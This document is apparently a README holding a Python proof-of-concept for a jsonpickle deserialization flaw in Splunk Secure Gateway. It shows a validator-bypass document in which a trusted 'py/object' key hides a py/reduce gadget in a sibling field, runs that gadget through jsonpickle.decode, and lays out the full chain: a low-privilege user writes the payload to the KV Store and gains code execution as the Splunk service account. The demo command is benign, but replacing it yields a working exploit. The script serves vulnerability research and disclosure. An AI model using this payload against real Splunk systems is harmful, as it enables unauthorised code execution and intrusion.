README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-20251 — Splunk Secure Gateway jsonpickle deserialization
Proof-of-concept: validator bypass demonstration
Purpose : Confirms, on a LOCAL authorised research instance, that
check_alert_data_valid_json() can be bypassed and that
jsonpickle will reconstruct an arbitrary Python object from
the resulting document. The payload is deliberately benign
(subprocess.check_output(['uname', '-a'])) — it produces
read-only system info and changes nothing.
NOT a weaponised exploit. Do not run against production or
systems you do not own.
Tested on: Splunk Enterprise 10.0.6 / SSG 3.9.19 / macOS (Darwin)
"""
import sys
import json
import argparse
parser = argparse.ArgumentParser(description="CVE-2026-20251 PoC — local research only",
add_help=False)
parser.add_argument("-h", dest="host", required=True, metavar="HOST",
help="Target Splunk host IP or hostname")
args = parser.parse_args()
# jsonpickle is loaded from SSG's bundled copy so we use the exact same
# library version that the vulnerable code path uses.
SSG_LIB = "/Applications/Splunk/etc/apps/splunk_secure_gateway/lib"
if SSG_LIB not in sys.path:
sys.path.insert(0, SSG_LIB)
import jsonpickle
# ---------------------------------------------------------------------------
# Verbatim copy of check_alert_data_valid_json from SSG 3.9.19:
# bin/spacebridgeapp/rest/devices/alert_helper.py lines 509-535
#
# Inlined because the full SSG import chain requires the Splunk SDK
# (module 'splunk'), which is not on the standalone Python path.
# Inlining is more accurate for the PoC anyway — we are testing the
# exact shipped logic, character for character.
# ---------------------------------------------------------------------------
def check_alert_data_valid_json(data) -> bool:
def should_check_valid_json(process_item):
return isinstance(process_item, dict) and any(k.startswith('py') for k in process_item.keys())
for key, value in data.items():
if key.startswith("py"):
if key == "py/id":
# Accept 'py/id' as the reference of an object and its value should always be an integer.
return value.isinstance(int)
elif key == "py/object":
# Check if 'py/object' value starts with 'spacebridgeapp'.
return value.startswith("spacebridgeapp")
else:
return False
elif isinstance(value, list):
# Recursively check each item in the list can be possibly transformed to object
for item in value:
if should_check_valid_json(item):
if not check_alert_data_valid_json(item):
return False
elif should_check_valid_json(value):
# Recursively check if value can be possibly transformed to object
if not check_alert_data_valid_json(value):
return False
return True
print("=" * 70)
print("CVE-2026-20251 PoC — local research instance only")
print("=" * 70)
print(f"[*] Target host : {args.host}")
print(f"[*] jsonpickle : {jsonpickle.__version__}")
print(f"[*] Validator : check_alert_data_valid_json (verbatim from SSG 3.9.19)")
print()
# ---------------------------------------------------------------------------
# Two-stage proof
#
# The full attack chain requires two conditions:
# A) The validator must pass the document (check_alert_data_valid_json)
# B) jsonpickle must execute the gadget (_restore_reduce → f(*args))
#
# In real Splunk, spacebridgeapp is importable so both fire from a single
# document. In this standalone PoC, we prove each condition separately
# and then explain how they compose.
# ---------------------------------------------------------------------------
# ── Sub-proof A: validator bypass ─────────────────────────────────────────
#
# The bypass document:
# {
# "py/object": "spacebridgeapp.data.alert_data.Alert", ← LURE
# "notification": { ← sibling, NEVER seen
# "py/reduce": [ {"py/function": "subprocess.check_output"},
# {"py/tuple": [["uname", "-a"]]} ]
# }
# }
#
# check_alert_data_valid_json() iterates top-level keys.
# The first key it encounters is "py/object". Value starts with
# "spacebridgeapp" → returns True immediately. The "notification" key
# (carrying the py/reduce gadget) is never examined.
BYPASS_PAYLOAD = {
"py/object": "spacebridgeapp.data.alert_data.Alert", # lure — real class name
"notification": { # sibling — never validated
"py/reduce": [
{"py/function": "subprocess.check_output"},
{"py/tuple": [["uname", "-a"]]}
]
}
}
print("─" * 70)
print("SUB-PROOF A — Validator bypass")
print("─" * 70)
print("[*] Bypass document (what the attacker writes to mobile_alerts KV Store):")
print(json.dumps(BYPASS_PAYLOAD, indent=2))
print()
print("[*] Running through check_alert_data_valid_json() ...")
is_valid = check_alert_data_valid_json(BYPASS_PAYLOAD)
print(f" Validator returned : {is_valid}")
if not is_valid:
print("[!] Validator BLOCKED the payload — bypass failed.")
sys.exit(1)
print()
print(" [BYPASS CONFIRMED]")
print(" Saw 'py/object': 'spacebridgeapp...' as the FIRST key → returned True.")
print(" The 'notification' sibling key carrying the py/reduce gadget")
print(" was never inspected.")
print()
# ── Sub-proof B: py/reduce gadget execution ───────────────────────────────
#
# In the real Splunk context, spacebridgeapp IS importable. jsonpickle
# instantiates the lure class (Alert), then calls
# _restore_object_instance_variables() which iterates every attribute in
# the stored document and calls _restore() on each value. When it hits
# the "notification" value ({"py/reduce": [...]}), _restore_tags()
# routes to _restore_reduce(), which executes:
#
# stage1 = f(*args) ← unpickler.py ~line 526
#
# Here we prove the same _restore_reduce path fires by stripping the lure
# wrapper and feeding the raw py/reduce document directly to
# jsonpickle.decode(). The code path inside jsonpickle is identical.
# safe=True is set exactly as in the real SSG sink.
GADGET_PAYLOAD = {
"py/reduce": [
{"py/function": "subprocess.check_output"},
{"py/tuple": [["uname", "-a"]]}
]
}
print("─" * 70)
print("SUB-PROOF B — py/reduce gadget execution (benign: uname -a)")
print("─" * 70)
print("[*] Gadget document (the nested value jsonpickle sees after bypass):")
print(json.dumps(GADGET_PAYLOAD, indent=2))
print()
print("[*] Calling jsonpickle.decode(..., safe=True) — same call as SSG sink:")
print(" alerts_request_processor.py:622 → jsonpickle.decode(json.dumps(alert_json[0]), safe=True)")
print()
try:
result = jsonpickle.decode(json.dumps(GADGET_PAYLOAD), safe=True)
if isinstance(result, bytes):
decoded = result.decode().strip()
print(f" [EXEC] subprocess.check_output output: {decoded}")
print()
if any(kw in decoded for kw in ("Darwin", "Linux", "MINGW", "x86_64", "arm")):
print(" [GADGET CONFIRMED]")
print(" py/reduce fired through jsonpickle.decode(..., safe=True).")
print(" safe=True did NOT block it — the flag only gates py/repr eval(),")
print(" not py/reduce, py/object, py/type, or py/function.")
else:
print(f" Result (unexpected format): {decoded}")
else:
print(f" Unexpected result type: {type(result)} value: {repr(result)}")
except Exception as e:
print(f" [!] Exception: {e}")
print()
print("=" * 70)
print("FULL CHAIN — how A and B compose in real Splunk")
print("=" * 70)
print("""
Step 0 Low-privilege attacker writes BYPASS_PAYLOAD to KV Store collection
'mobile_alerts' via the Splunk REST API (no admin role needed).
Step 1 SSG processes an alert fetch request for that alert_id.
alerts_request_processor.py:606-622 reads the document back from
KV Store and calls check_alert_data_valid_json(alert_json[0]).
→ Sub-proof A confirmed: validator sees py/object = 'spacebridgeapp...'
as the FIRST key, returns True, never reads the 'notification' sibling.
Step 2 The validated document is passed to jsonpickle.decode(..., safe=True).
jsonpickle's _restore_object() loadclass()es Alert (importable in
Splunk), instantiates it, then calls _restore_object_instance_variables()
which iterates every stored attribute and calls _restore() on each.
When it hits 'notification': {py/reduce: [...]}, _restore_tags()
routes to _restore_reduce() → stage1 = f(*args) fires.
→ Sub-proof B confirmed: py/reduce executes subprocess.check_output
through jsonpickle.decode(..., safe=True). safe=True is irrelevant
to this code path.
Outcome : Arbitrary code execution as the Splunk service account.
Requires only a low-privilege Splunk login.
No admin role, no user interaction, no additional conditions.
Fix : Upgrade SSG → 3.9.20 / 3.10.6 / 3.8.67
Upgrade Splunk Enterprise → 10.0.7 / 10.2.4 / 10.4.0+
""")